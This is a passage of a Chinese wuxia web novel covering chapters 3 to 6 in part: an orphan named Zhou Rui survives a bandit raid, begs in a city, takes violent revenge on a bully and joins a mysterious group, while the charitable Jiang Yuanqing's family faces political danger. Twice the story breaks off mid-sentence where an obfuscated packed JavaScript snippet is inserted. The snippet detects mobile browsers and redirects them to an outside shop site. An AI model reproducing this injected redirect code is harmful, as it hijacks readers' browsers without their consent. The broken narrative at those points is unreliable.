他感觉自己的身体在颤抖,胸腔内充满无法言明的苦涩。他想张口呼吸,吸进的却只有血腥味。 “我早就说过,你是个祸害……” 周方礼躺在地上语气微弱道,他的眼睛噙满泪水,布满血丝。 “你个天杀的煞星!索命的厉鬼……” 他眼中的凶光让周瑞不寒而栗,眼前的父亲似成了陌路人。 突然,周方礼挣扎起身拿起地上的刀向周瑞胸口扎去。 “我要杀了你这个祸害!” 周瑞吓得连连后退,用手臂护住胸口。 刀尖刺破衣裳,扎进周瑞的手臂,周瑞疼得叫了一声。 可这一刺用尽了周方礼全部的力气,刀只是划破了周瑞的手臂,便掉在地上。周方礼趴在周瑞身上,眼睛圆睁,断了气…… 村子里不时传来哭嚎声和器皿碎地的声音,这伙贼寇将整个村子洗劫一空,烧杀抢掠。直至夜晚,周瑞才敢出来。 他跌跌撞撞行至湖边,低声唤了荷玉人许久,才想起她已闭关修炼。 他折返至家门前时,远远地瞧见李千躺在不远处的地上,他的脖子上有一处刀伤…… 思量许久,周瑞找来一辆板车,用尽全身力气来回了两趟将玉娘和周方礼拖到板车上。又带上一个铁锄头,独自拽着板车往后山行去。所经之处的野草,断断续续沾上血液。 后山上,一个年幼的孩子神情恍惚地挥动手中的铁锄头,刨出两个大坑。 将爹娘葬好后,他坐在坟前低头不语。 寒风在山间呜咽,枯草摩挲摇曳发出沙沙的声音。 冰轮高悬,月华如练,猫头鹰在树上发出怪叫,回荡在山间。 突然,附近传来车轮滚动的声音,周瑞警惕地抬头查看,见是一个中年男子也拉着板车往山上走来。 他的左臂刚刚被砍,只用右臂吃力地拉着板车,板车上三具尸体,有老有少。 见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前辈,烦问这江家什么来头?”一位满脸胡须的中年男子与排在自己前面的白发乞丐搭话。 “你是外来的流民么?”白发乞丐问道。 胡须男子长叹一声点点头:“天降饥年,颗粒无收,只得携一家老小易地避难。途径此地听闻江家布施粥饭,不知是什么来头,日后有了活路也好言谢。” 白发乞丐听了他的遭遇眉头微蹙:“你初来乍到,不知实属正常。江家老爷江风山,是当今朝廷重臣杨重明的贵婿,习得一身好武艺。原是杨重明携千金为岳母祝寿时,请的在路上保驾护航的镖师,不料路遇匪徒,杨重明的千金被掳了去。江风山胆识过人,凭借一身绝世武艺,单枪匹马从匪徒手里救得千金。杨千金对江风山芳心暗许,杨重明便将女儿许配于他,成就一则佳话。” 周遭的人听完无不佩服点头。 白发乞丐继续说道:“自此以后,江风山便名声大噪,有了杨家做靠山,镖局生意如火如荼,甚至连官家饷银都邀他前去相护,穷山恶水里的土匪恶霸见到江氏镖旗无一敢冒头作乱。不过江风山虽飞黄腾达,腰缠万贯,却毫无富贵人家做派,为人仗义,博施济众……” 白发乞丐抬手指了指粥棚的方向,“这不,乐善好施,常搭粥棚救济灾民,是难得的大好人呐!” “好!”胡须男子心中升起一股仰慕之情,连连称赞。 谈话间,人群前传来清朗洪亮的钟声。 “铛……铛……铛……” 钟声还未结束,人群便躁动了起来。 众人垫起脚跟,翘首以盼,如潮水般向前拥挤。队伍里甚至有人因插队而推搡争吵了起来,场面陷入一片混乱。 这时,一位少年郎登上施粥的桌子,他看上去十六七岁,身穿浅色蓝袍,相貌温文尔雅、气宇不凡。 他俯视人潮,先是恭恭敬敬地作了个揖,继而朗声道: “诸位!请听晚辈一言!领粮者众多,若因队伍散漫,而使粥棚倾倒、粥罐破损,则不佳矣。队伍两侧有官兵兄弟维持秩序,破坏秩序、阻拦施粥者当即拿下!粟米丰盈,请诸位依序前来领取!” 说罢,少年郎又作了个揖,跳下桌开始施粥。 他的声音略稚嫩却毫无惧意,语气斩钉截铁、刚柔并济。 原先引起骚乱的人听罢乖乖闭嘴,几个官兵进入人群,将插队的人赶至队尾,重新排队。 人群中顿时安静下来,悄无声息。 “这位少年是?”胡须男子忍不住问道。 白发乞丐捋了捋胡须,笑脸盈盈道:“这是江家之子,江远倾。” 4. 第 4 章 领粮的队伍井然行进,江远倾有条不紊地同家丁将粥与馒头等吃食散发至灾民手中。 前两日他曾与父亲一同施粥,而今日父亲派他独自主持局面。灾民虽多,施粥的过程倒还算是井然有序。 送走一位怀抱襁褓婴儿的妇女后,下一位灾民缓步上前。 江远倾第一眼便瞥到了他脸上的怪异之处,虽然他将头发披散,故意遮挡左脸,但他脸上的青黑胎记还是十分显眼。 他的年纪看起来比自己还要小许多,只比桌子高出半个头,衣衫破旧,胸前沾染大片暗红色的血渍,不知经历了什么…… “小兄弟,你是一人前来的么?”江远倾将米粥倒进他的碗里。 他抬起头,与江远倾对视了一眼便迅速低下头。 “嗯。”语气微弱无力,轻得如空气中漂浮的尘埃。 只是匆匆一瞥他的眼神,江远倾便看出他心中复杂的情绪。 这种眼神,如同东冲西决、横扫一切后风平浪静的洪水,平静却混浊,波澜不惊的水下埋藏着一片废墟。 江远倾未再多言,又将馒头递给他,若无其事地放他离去。 周瑞小心翼翼地端着米粥,在坐满灾民的墙边寻了个缝隙蹲下。 身旁的灾民或是见过蛆爬蝇飞的饿殍,或是亲眼目睹死在流寇刀下的人的惨状,瞥见了周瑞的阴阳脸,自然不觉为奇,专心吃着自己来之不易的赈济粮。 领粮的队伍渐渐缩短,墙角边、店铺前、树下等地方挤满了领到赈济粮的灾民。抢到空位置的便席地而坐,来晚了的只能站着,吃完了的便躺在树下合衣打盹儿。 江远倾一面不慌不忙地发放吃食,一面不忘吩咐家丁去给后厨传话。 这时,他的贴身小厮凑过来,在他的耳边低声说了些话。 小厮还未说完,江远倾紧锁眉头:“她怎么来了?” “您还是去后厨看看罢。” 江远倾让小厮接替自己,转身急匆匆朝后厨行去。 进门前他稍稍整理衣裳,深吸口气,心中早已斟酌好了措辞。 “江公子来了!”后厨里一位穿青色衣裳的伶俐丫鬟首先注意到了江远倾。 她的身旁站着位身穿浅粉色短袄、绸制长裙的女子,正背对着他在后厨监工。 听到丫鬟的提醒,长裙女子立即转过身向江远倾行了个礼。 “远倾哥哥,外间的难民可都得了吃食?” 她睁着圆而明亮的眼眸,宛若一对流光溢彩的宝石,晶莹剔透的眼波中透着一丝坚定和倔强。在人来人往的后厨里处之泰然,与其豆蔻的年纪似很不相符。 “取得额定粮者已过半,家丁皆于外间谨守其分。”江远倾犹疑的目光在她白皙的鹅蛋脸上短暂驻足后,便继续说道:“兰儿妹妹此次前来可有要事?” “远倾哥哥……” 话还未出,江远倾便抬手制止了她。 “此地人多眼杂,不宜谈话。兰儿妹妹,随我来。” 二人连同丫鬟离开后厨,拐进小巷,沿着围墙走了许久,终于在围墙外一处僻静的角落停住脚步。 围墙内种有一棵参天耸立的银杏古树,深秋时节,银杏叶缀在枝头闪烁着金色的光芒。风吹而过,宛如一串串晃动的金玲铛,发出悦耳的声音。 “兰儿,你说。”江远倾定定地注视着她。 “其实……我来没有什么要紧的事……只是怕你一人主持施粥,忙不过来,便来瞧瞧你。来的时候见你脱不开身,我想等着也是等着,不如帮你去后厨看看。” 原以为她匆匆赶来是有什么要紧事,没想到只是来瞧瞧自己,江远倾一时愣在原地,不知说什么好。 “赵伯父知你来此么?” “你放心,我此次来就是爹爹吩咐的。” 江远倾如释重负地点了点头。 看他稚气未脱的脸上紧张严肃的模样,她忍不住眉开眼笑,继而用挑逗的语气道:“你怎得如此慌张?” “这里的灾民众多,底细皆不知,若是冲撞了你,我可如何向赵伯父交待?” “我赵兰可不是什么柔弱之辈。”她略弯着身子,凑近他:“再说了,只要你保重身体,别忘了我们之间的娃娃亲,就是对我爹最好的交代了。” 落叶纷飞,金黄的银杏叶从她的身后悠悠扬扬飘落,衬得她的笑容灿烂明媚。 “你一个姑娘家,怎得比我还……”江远倾挠挠头。 “我说错了么?”赵兰回头望向身旁的丫鬟,却见她掩嘴偷笑,“巧烟,你笑什么?” “小姐,你是否还忘了什么事?”巧烟轻声问道。 “什么事……”赵兰垂眸作沉思状,“对了!爹爹说明日的赈济粮他也会出粮出力,算是积德积福了。” “赵伯父有心了,远倾在此谢过,回去必告知家父改日登门拜谢,也请兰儿妹妹回去务必转达谢意。” “放心罢,我一定铭记在心。” 听了这话,巧烟忍不住笑得身子微微颤动。 “那就好。”江远倾盯着她发梢上夹着的碎叶,思索良久终是没有伸手拍落,“此处我应付得来,更何况还有官兵兄弟相助。你先回去,莫让赵伯父担忧才是。” “知道了。”赵兰百般不情愿。 话毕,江远倾将赵兰送至马车,目视其离去。 返回路过后厨门口时,江远倾似乎突然想起了什么,他悄悄唤来一位熟悉的家丁,在他耳边窃窃私语交代了几句,便往粥棚行去。 日光渐渐西斜,原先悬在众人头上炙烤的太阳此时被房屋遮挡,墙下的阴影越来越长。原本睡在阳光下的周瑞忽觉周遭灰暗,一阵秋风掠过,不禁打了个寒战。 他坐起身,注意到身旁有一道阴影与日光的界线。 他伸手越过界线,能看到无数微尘在指间飞舞。此时的太阳不再炽热,但却温暖。 远处的日光下站着一个人,手里拿着包袱在灾民群中东张西望,直到看到周瑞时,他的眼神才牢牢定住。 周瑞看他跨过那道阴暗交界线,径直朝自己走了过来。 “小兄弟,你的包袱落下了,我家公子派我来还你。”说完他把包袱往周瑞怀里一塞,并凑近低声道:“我家公子给你的,你拿着罢。” 周瑞还想说什么,可那人说完便转身自顾自走了。 这里大户人家的公子只有来赈灾的江家公子,莫不是他们说的江远倾么? 周瑞一面想着,一面悄悄打开包袱,里面是干粮和碎银。 他满脸疑惑地抬起头,刚刚那人早已没了踪影。 他只好收下包袱,朝着日光漫无目的地走着。这包袱被太阳烤得热乎乎的,贴着背甚是暖和。 一路上,隔一段距离便有乞丐,他们用不怀好意的目光假装不经意地打量着他。 周瑞低头快步跟上一对夫妻,避免与他们的目光对视。 这些乞丐属于丐帮,有的黑心乞丐会专门寻找无家可归的孤儿,或打断双腿,或折断胳膊,只为博得路人的同情。而乞讨来的东西大都进入了他们的腰包,孤儿的死活则一概不管。 前两日与他同村的孤儿便被掳了去,断手断脚坐在街边,周瑞差点没认出来。 他人不像人、鬼不像鬼的模样深深地刻在周瑞的脑海里,让他整夜心惊肉跳、难以入眠。 他害怕自己也稀里糊涂地失了手脚,所以在白日尽量混在人群里,假装自己还有爹娘,夜晚便溜进别人家,天亮前离开。 他跪地祈求过街边的店铺老板雇佣自己,只是管顿饭就好。可城里涌入了大量难民,人多活少,他这种还没长开的崽子没人愿意雇佣,更何况还长了半张脸的胎记。 几天过后,包袱里的干粮和钱财都所剩不多了。 周瑞在城里绕了几圈,发现有一块地盘似乎不在丐帮的管辖范围,便找了处墙角,坐地行乞。 来来往往的路人不少,但施舍的人不多。 一日,周瑞照例行乞,他和往常一样坐在地上低着头,时不时观察路人所穿的鞋。 他们大都穿着各式各样的蒲草鞋或布鞋,偶尔能看到几双颜色绚丽的缎面鞋,这布料以前母亲做工时他曾见过。 突然,一双鞋停在他面前。 那双鞋厚厚的底,缎面上用金线绣了个福字。 周瑞缓缓抬头,却见那鞋的主人是个少年,脖子上挂着金项圈,约莫十五、六岁。他身边簇拥着几位穿布鞋的男子,年纪与这少年相仿。 “你这狗崽子哪里冒出来的?”那少年气势凌人,眼中杀气腾腾,颇有流氓的架势。 周瑞还未说话,便见金色福字蓦地腾空而起,他的乞食碗从空中飞过,摔在地上,碎了个稀巴烂。 “你踢我的碗做什么?”周瑞的火气腾的一下在心中冒开,脸色瞬间通红。< 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突然,一个小喽啰从他身上翻出一个物件,那物件泛着碧绿的光泽。 “还给我!”周瑞突然发狂,不顾胸前的痛意挣扎着要抢。 沈霸王轻松夺过,放在手心仔细端详。 那物件形如玉石,晶莹剔透,细腻油润,绿如翡翠,内里没有一丝杂质。见过各种玉石的沈霸王也说不上来这是什么东西,却能肯定这物件价值连城。 “你一介贱民,怎得有这好东西?说!哪里偷的?” “我没有偷!” “你若不老实交代它的来历,我就把你送去官府。随便定个罪,就能让你求生不能,求死不得!” 周瑞愣在原地,沈霸王的话如同一把沉重的铁锤,不断敲打着他的脑袋,头里一阵眩晕。 他瞥了眼周围路过的行人,那一双双匆匆忙忙、停不下来的鞋履,和往常没什么两样。 嘴里的血腥味使得周遭的空气都泛着一股锈迹斑斑的味道,这味道他闻过无数遍。 被李千推进湖里时,晚霞是铁锈味的。 娘亲死在面前时,桂花是铁锈味的。 养父咒骂自己是煞星、是厉鬼时,他刺过来的刀也是铁锈味的。 还有后山的坟堆、路边的孤儿乞丐,甚至每一双停不下来的鞋履,都充满了锈味。 整个世间似乎都在腐烂锈败,摇摇欲倾! 他握紧拳头,心中恨意翻涌。 怒火灼烧,让他忘却身上的痛楚。 “不管发生什么,一定要好好活着……”娘亲的话在耳畔骤然回响。 周瑞努力克制自己的愤怒,望着沈霸王,嘴角挤出一丝怪异的笑意。 “好哥哥饶命!我说就是!不过您方才说这破石头是好东西,意思是它很值钱么?” “这东西可不是破石头,岂是你这种人可得?”沈霸王一副鄙夷不屑的模样。 “您想想,小的若是偷来的,必定知道它的价值,可若知道它的价值,小的还会坐在这里乞讨,冒犯您么?” 沈霸王饶有趣味地盯着周瑞脸上的变化:“那这东西是怎么来的?” 周瑞忍着嘴角的疼痛开始讲述:“小的曾经路过一处荒山,那里住着位奇珍异兽,您手里拿着的就是它身上的鳞片。可惜小的眼瞎,不曾认出它的价值,只是觉得好看便放在身上。如今它遇上了公子,说明它与您才是有缘。” 沈霸王赞许地点点头:“世间竟有这等奇物!那你又是如何从它身上取得的?” “实不相瞒,是小的不慎坠崖,被那奇兽救了上来,挣扎时不小心揪下它的鳞片。” “这么说,它竟有一副好心肠,那就好捉得。”沈霸王凑近周瑞,“那山在哪里?” “就在……”周瑞欲言又止,环顾四周后露出尴尬的笑容。 沈霸王警惕地看了自己手下一眼:“你们都离远点!”说完便将耳朵凑近。 周瑞在他耳边说了几句话,沈霸王点了点头。 “不过小的提一嘴,人多眼杂,要是太多人去,走漏了消息就不好了。” “你说得有理。”沈霸王指了两个人,“你们随本公子去,四个人捉总够了。” 那两人得了命令,由周瑞带头,一行四人前去捉奇兽…… 5. 第 5 章 众人出城时已是日暮时分,夕阳西沉,暮色苍茫。 为了能够捉到那奇兽,沈霸王的两名手下带了麻袋、麻绳还有砍刀。 一路上,周瑞与沈霸王有说有笑。听到周瑞描述那奇兽长着狐狸的头,蛇的身子,众人不禁连连称奇。当周瑞又说到那奇兽的鳞片数量如何之多时,沈霸王的眼睛里顿时闪着金光,似乎已经看到了数不尽的金银财宝。 “多亏了公子您,否则小人还得要一辈子饭。自从爹娘被流寇杀害,小人便独活在这世上,等发了财,小的愿誓死追随公子!”周瑞一脸诚恳,似早已将沈霸王踢的那脚抛到九霄云外。 “好说好说!”沈霸王一脸得意。 不知不觉,夜幕降临,周瑞看到一座熟悉的房屋,那里曾经是他的家。 “公子,那屋子便是小人的家,能否让小人进去祭拜祭拜爹娘冤魂?片刻就好。” 沈霸王略有迟疑:“祭拜冤魂倒是可以,只是别误了时辰。” 周瑞连连道谢,还未走几步,沈霸王叫住了他。 “等等。”他指了一位随从,“你随他去。” 周瑞与那位随从相伴,一齐进了屋子,而沈霸王则和另一位随从候在门外。 一进屋子,周瑞便跪在地上,俯身叩地。 原以为拜几下便了事,没想到他长跪不起。那随从心急,走近拍了拍周瑞的肩膀。 “拜也拜了,怎得还不走?” 刹那间,周瑞猛然转身,怀里伸出一把冰冷的砍刀,直直地砍向那随从的脖子。 原来他刚刚俯身,是去拿周方礼的砍刀。 那随从未反应过来,一声不吭地倒地而亡…… “公子,我祭拜完了。”周瑞一脸自然地望着沈霸王。 沈霸王看了眼他身后,奇怪道:“怎么就你一个?” “他……” “你身上怎么有股腥味?”沈霸王顿时警觉起来。 见事情即将败露,周瑞脸色突变,面露凶光,将藏在身后的刀猛地挥起,径直砍向沈霸王。 沈霸王立即反应过来,迅速拉住身边的随从为自己挡刀。 砍刀划破那随从的胸口,他惨叫一声,痛苦万分地倒在地上。 周瑞回过神来时,沈霸王已跑出几丈远。 黑夜里,沈霸王难辨方向,深一脚浅一脚地踩在杂草上。 “你疯了么?”他内心暗暗叫苦。 因为嫌重,他将捉奇兽的麻袋连同砍刀全都放在随从那里,此时他已全无抵抗的筹码,只能头也不敢回地拼命往前跑,身后的人紧追不舍。 倏忽间,他踩到一块石头,一时重心不稳,被绊倒在地,嘴巴里吃进了草叶。他不敢怠慢,连忙爬起来继续跑。就在他爬起来的瞬间,后背被重重地划了一刀,凄厉的惨叫在夜空里回荡。 他疼痛难忍,血从后背渗透进绸制的衣裳,像是绽开一朵红花。 忍痛跑了几步,沈霸王跌跌撞撞地摔倒在地。他支起身子,转身跪在地上。 “好汉……好汉饶命……我不要了,我什么都不要了,求求你放过我罢!我沈家别的没有,就是钱多,你要是放过我,我回去就给你取银子!” 地上的黑影渐渐靠近,他全然不听沈霸王的哀求,刀影缓缓抬起…… 沈霸王抓起一把土朝他眼里洒去,转身继续往前跑。 周瑞猝不及防,迅速抖了几下继续追过去。 沈霸王坚持跑出许久,却突然停住脚步───前方是一片茫茫湖水。 身后脚步渐近,那个疯子不愿给他一丝生机。 前无退路,他只得转过身道:“我给你金……” 话音未落,砍刀无情地划过他的脖颈,血洒江水。 周瑞冷漠地看那躯体仰面直直坠入湖里,月下他那半张暗黑色的脸上,一颗绿色的眼珠散发着幽光。 清幽的月光洒满湖面,波光粼粼。水鸟受到惊吓,蹁跹飞过,钻进芦苇荡,芦苇抖动,芦花飘扬。 “谁稀罕你的臭钱!”周瑞朝湖里漂浮的沈霸王厉声喝道。 芦苇荡里一抹幽绿的光芒扬起落下,拍动水面发出声响。 周瑞朝她望去,却转过身跑走了…… 跑近家时,周瑞看了一眼门口,那位被沈霸王拿来挡刀的随从消失了。 他沿着地上断断续续的血液一路追赶,这人虽受了伤,却跑得极快。 不知走了多久,周瑞沿血迹来到一座府邸前。远远望去,一个人正捂住胸口往府邸走去。 周瑞疾奔向前,飞扑过去,将砍刀从他后脖划过,他惨叫一声,瞬间倒地。 “什么人?”府邸门口传来人声。 周瑞抬头,目光正与府邸前的守卫迎上。那府上挂着灯笼,写个“沈”字。 “站住!”几名守卫大喝一声赶来,却只见地上躺个死人,一个人影在月光下奔走…… 天空灰暗,云层密布,世间如同被重重黑雾笼罩。 雨丝夹带寒意在空中飘飘洒洒,空气里弥漫着水腥味和落叶腐朽的味道。 在一处城内废弃的民居里,院中屹立着一棵高大的梧桐树。树干形状优美,枝杈错落有致,零星树叶被雨水浸湿垂在枝头,摇摇欲坠。 一片梧桐叶终不堪重负,在风雨中旋转飞舞,落在一层湿软的腐叶上。落叶碰撞的声响虽细微低切,却还是惊动了坐靠在墙角里的那个人。 他仔细聆听墙外的动静,一群官兵和沈家的家丁正在城内四处搜寻着他。 从昨夜到现在,他已经逃了一天一夜,滴水未进,只能仰起头任雨水湿润口腔。 恍惚间,院墙上似有黑影掠过。周瑞晃晃脑袋,不知是不是久未进食,产生了错觉。 “这间宅子搜过了么?” 墙外传来人声,声音清晰洪亮。 周瑞紧紧握住那把砍刀,此时他已没有退路,若是外面的人进来,便决一死战。 “你出不去的。”一个从容自若,冷如秋风的声音传来。 周瑞浑身打了个激灵,循着声音望去───梧桐树下站着一位黑袍男子。 他脚步轻盈,悄无声息,不知已经在这里待了多久。 “你是谁?”周瑞顿时感到腹背受敌,一面要提防眼前的黑袍男子,一面还要听着门外的动静。 “我是来救你的,杀了沈家那么宝贵的儿子,你以为能跑得掉么?” “你怎么知道?” 黑袍男子似轻笑了一声,却并未回答他的问题。 “沈霸王自小锦衣玉食,不可一世,性情暴戾恣睢,无恶不作,谁能想到竟死在一个不知名的小乞丐手里,真是报应不爽。” “你怎么找到我的?”周瑞仍保持警惕。 “找到你不是难事……” 黑袍男子还未说完,门外传来一声高呼:“他在那里!” 紧接着,又传来一阵嘈杂的脚步声。 周瑞连忙摆出架势,浑身绷紧,却久久不见有人破门而入。 “放心,有人引走了他们。” “谁?” “他随我一同来,是我手里轻功最好的。” 周瑞心里仍有许多疑惑,面前的男子虽穿着黑袍,并用额前的长发遮挡了些面部,但能隐约看出他的年纪与养父周方礼一般大。 他行动诡秘,消息灵通,竟比官府和沈家先手找到了自己,绝不是一般人。 “你们为什么要救我?” “真正能救你的不是我们,而是你自己。”黑袍男子盯住他,“若是跟我们走,你就能活,若是不跟我们走,剩下的就全靠你自己的造化了。” “你们是什么人?” “惩恶扬善,不留名。”说完他转身一跃而起,跳上了围墙,“走么?” 周瑞定了定神道:“我跟你们走。” 刚爬上墙,周瑞便看见墙外有一人站着,似乎在等他们。 “这就是刚刚那位引走官差的小兄弟,他叫曲玉。”黑袍男子引荐道。 周瑞看向那人,却发现那人甚是年轻,只比自己大不过三岁。他朝自己作了个揖,一脸意气风发、处变不惊的模样。 周瑞也连忙回礼道:“多谢哥哥,哥哥好身手,竟能安然无恙地回来!” 曲玉笑道:“你也不赖,竟将沈霸王了结了。这位,我们都唤他阎老大。”他看了眼黑袍男子,又复看回周瑞,“不过……到现在都还不知你的姓名。” 周瑞沉默了半晌,过去所经历的一切都浮现在脑海中。 若是一年前的自己,绝对想象不到现在所处的境地。他想起娘亲温柔的笑脸和舒服的怀抱,想起养父死前痛苦狰狞的脸,还有一路走来所受的屈辱和冷眼,心里暗暗下定了决心。 “我叫周厉,厉鬼的厉。” 四年后。 北风掠过,树木萧瑟凋零,大地一片灰蒙蒙。 风止,空气似被冻结,草木皆静,时间在一片寂静中宛若凝滞。 空中静悄悄飘起雪花,星星点点,落在一条宽阔的河流上。河水冰冷刺骨,还未结冰,雪花落入水中便消失不见。 河流不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611552|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处是一条官道,官道上行过来两辆马车,马车周围跟随着数十名仆从小厮,马车前后则由镖头领头和数名镖师护尾。 行在前头的马车里坐着一位雍容华贵的妇人,面如皓月,举止端庄,却紧闭双眼,眉头微蹙,左右坐着三位丫鬟相随。 “曼儿,可经庙宇?”妇人轻声问道,却仍闭目养神。 唤作曼儿的丫鬟闻声撩开帘子,迟疑片刻,转身答道:“不……不经。” 妇人缓缓睁开眸子,伸出手自己撩开帘子,曼儿见状欲言又止。 “好端端的眼睛愣是看不见树下那座庙么?对鬼神不敬将来坏事临门!”妇人抬手往她脸上扇去,白璧似的脸上立时泛起了红印。 “夫人,您一路上遇庙便拜,外间风冷刺骨,还飘起了雪,奴婢实在担心您的身子……”曼儿忍住眼泪低语道。 “我的身子不要紧,快去通知外面的人停下。”妇人轻轻叹息,“还有,去附近打盆水来。” 曼儿不敢耽误,得了令便掀帘叫外面的小厮去与前头的镖头传话。 镖头听后示意队伍停下,随即下马来到马车前,朝马车里的人喊道: “夫人,这座庙位置偏僻,很是荒凉,且远远地拜,莫要进去。” “知道了,马镖头辛苦。” 待镖头走后,妇人叫一名小厮去后头的马车传话。 那小厮越过几名仆从,在后头的马车前立住,恭恭敬敬作了个揖:“公子,夫人传您同去祭拜。” 闻声,马车里伸出一只沉稳有力的手拉开帘子,露出一张俊秀白皙,有棱有角的脸。他抬起眼眸朝天空望了望,若有所思片刻才回那小厮:“知道了,我随后就来。” 看小厮得令返回,他才匆匆下了马车。环顾周围荒芜的景象,他原本温和明亮的眼眸顿时警惕起来。 抬脚走了几步,便迎面撞见丫鬟曼儿。 她手里捧着空的水盆,见到他连忙低下头行礼。 “曼儿姑娘,这是去打水么?” “是的公子。” “我看不远处有条河,天寒地滑,曼儿姑娘打水时需得小心。” “多谢公子提醒……” “怎得刚出来脸就冻得如此通红?”他瞥见了曼儿脸上泛起的红印。 曼儿挤出笑容:“恐是下雪天冷,不碍事。奴婢去打水了,夫人急用。” 他点点头,目光投向第一辆马车。此时那妇人早已下车,裹了件披袄朝一座被杂草树枝掩盖的庙宇行去。 “母亲,现下已经开始飘雪,寒风侵肌,不如让孩儿代为祭拜罢。”他跟上前道。 “莫要再提,只是烧香拜神,哪里就如此弱不禁风了?”她愤愤道,似要将心中的气恼一齐发泄出来。 “母亲,是孩儿口不择言,孩儿知错了。”他悄悄抬眼观察母亲的神色,只见她眉头紧锁,仿佛有着无尽的忧虑,愁云惨雾压着她的眼皮,一双充满忧思的眼睛静静地望着不远处的那座破庙。 “只是自省亲回来,与外祖父谈话之后,您便愁眉不展,孩儿看着实在焦心。这一路上,您遇庙便拜,难道真的遇上什么难解之事了么?母亲不妨说出来,孩儿愿为母亲分忧。” “远倾,你也不小了。”江夫人喟然叹息,疲倦的目光端详着眼前已及弱冠之年的儿子,“光阴似箭,转眼间你便长大了,为娘却还停留在过去。” “此次省亲,你外祖父确是与我说了些事情。”江夫人挑了块平坦的岩石,轻轻拍去上面的积雪,缓缓坐下,“当今朝堂局势波云诡谲,宦官刘承贤颇受圣上恩宠,权势滔天,翻手为云覆手为雨。若是有不愿与他为伍者,必遭其朋党围剿。你外祖父自为官以来,处事谨慎小心,只为对得起那身官服和黎民百姓。凡是党派之争,他绝不轻易出头,只是两边讨好,圆滑处之……” 江夫人说到此,长叹一声,眼眸中有怒火闪动。 “可谁能想到,一味的退让却助长他们嚣张的气焰。这群人心中既无圣上,更无百姓,天下成了他们任意瓜分的田地,朝中众臣顺其者昌,逆其者亡。可谓一片乌烟瘴气,寸草不生……”一阵风吹过,江夫人气火攻心,忍不住咳嗽起来。 江远倾忙上前轻轻在母亲的背上拍着,江夫人抬手制止,示意无碍。 “近日,因皇上诞辰将至,宁王广搜奇珍异宝欲献于皇上。刘承贤竟在圣上面前以天下贤能者皆当为皇上效劳的由头,推举你父亲负责护送这批万寿节礼。” “由父亲押送?”江远倾脸上的神情变得凝重起来,“此举是冲外祖父而来!” 6. 第 6 章 江夫人微微颔首:“你外祖父何尝不知。” 江远倾眉头紧锁,低头沉思道:“若不应允,刘承贤必以此大作文章,到时私蓄异才、图谋不轨的罪名便会安到外祖父头上。若应允,这一路上刘承贤必定从中作梗,要是皇纲出了什么差错,圣上必龙颜大怒。” “此事涉及圣上和宁王,刘承贤虽胆大妄为,但若圣上追查到他头上来,也是得不偿失。或许他只是想送一桩功绩,拉拢人心……”江夫人盯住远处树下的庙宇黯然神伤。 “防人之心不可无,虽说外祖父不愿表明立场,但他为官清廉,追随者不在少数,说不定早就被刘党视作眼中钉。”江远倾道。 “这些朝堂上的勾心斗角光是听几句便令人厌倦。你两年前科举落榜,心思便全放在舞枪弄棒上,现下我也不再逼你,你想干什么便干什么罢。只是有一件,无论做什么,为国为民才是头等大事。” 江远倾还想说些什么,却见曼儿端了盆水走来,盆里还飘着热气。 “母亲您瞧,曼儿这姑娘心细得很,还将冷水煮热了端来,您就莫生她的气了。” 江夫人扫了他一眼:“你倒体贴得很,兰儿那姑娘你打算如何?你们定了娃娃亲,一直拖着可不好。” “孩儿承诺过,取得功名之日便是娶她之时。” 说完,江远倾从曼儿手里接过水盆端至江夫人面前。 净手后,曼儿又将水盆接过,并递来丝帕擦手。 江夫人边擦手边无奈摇头道:“虽说一诺千金,可是诺言有时也抵不过真心。” 江远倾将水盆递还给曼儿后便朝远处的庙宇走了几步,未听见江夫人的话。 “母亲,我且去看看那庙里供的哪位神佛。” “等等,马镖头只让我们远远地拜。”江夫人制止道。 “不碍事,孩儿不进去,只远远地看。” 江夫人犹豫片刻才道:“那你去罢,叫个人替你开路。” 江远倾应了一声,唤个小厮拿上砍刀走在前头清除杂草树枝。 越走近时,庙的模样便越清晰。这庙并无牌匾,墙上的壁画已全然看不清楚,庙门破旧,门上的锁不知所踪。 江远倾在远处借门缝望进去,只见一道光正好照在里面的墙壁上,墙上挂着一幅画,画的似乎是一只猛兽。 江远倾欲定睛细看,恍惚间却见那画上的猛兽双眼发出绿光,闪了几下。他揉揉眼睛,那绿光却消失不见。 “你看到里面那道绿光了么?”江远倾拽了拽小厮的衣角。 “绿光?没注意。这庙里黑漆漆的,小的什么也看不见。” 江远倾叹了口气:“罢了,回去罢。” 二人沿刚刚开的路原路返回。 “看清是什么庙了么?”江夫人朝他二人问道。 “此庙很是破旧,想来定是许久无人祭拜。孩儿只远远看见里面挂着一幅画,画里有一头猛兽,张牙舞爪,凶猛无比。” “那是契约神。”江夫人唤曼儿端来香炉,恭恭敬敬摆在地上。 “契约神?”江远倾一脸惊讶,“您是说那画里的猛兽是契约神?” “没错,这座庙是契约神庙,庙里供奉着的神兽名为天禄,因专管人间契约,便得了个契约神的名号。传说世间最高山的山顶有一块灵石,契约神兽便是由灵石碎片幻化而成。它长着虎身虎头,却有着龙的尾巴,你看到的那幅画上的猛兽想必便是契约神了。” “竟有如此传说,孩儿从未听说过。” “我也是听你父亲说起,他是从一位镖师口中听得。” 江远倾回想刚刚通过门缝所看到的契约神兽,的确如母亲所说,形状似虎,但却长着龙尾,只是那道绿光…… 他想继续问下去,可抬眼便看见母亲已跪在曼儿拿来的蒲团上,她身旁还有一个蒲团。 “愣着做什么?与我一同祭拜。”江夫人说完便闭上眼睛,手捏三柱香,嘴里轻声念着什么。 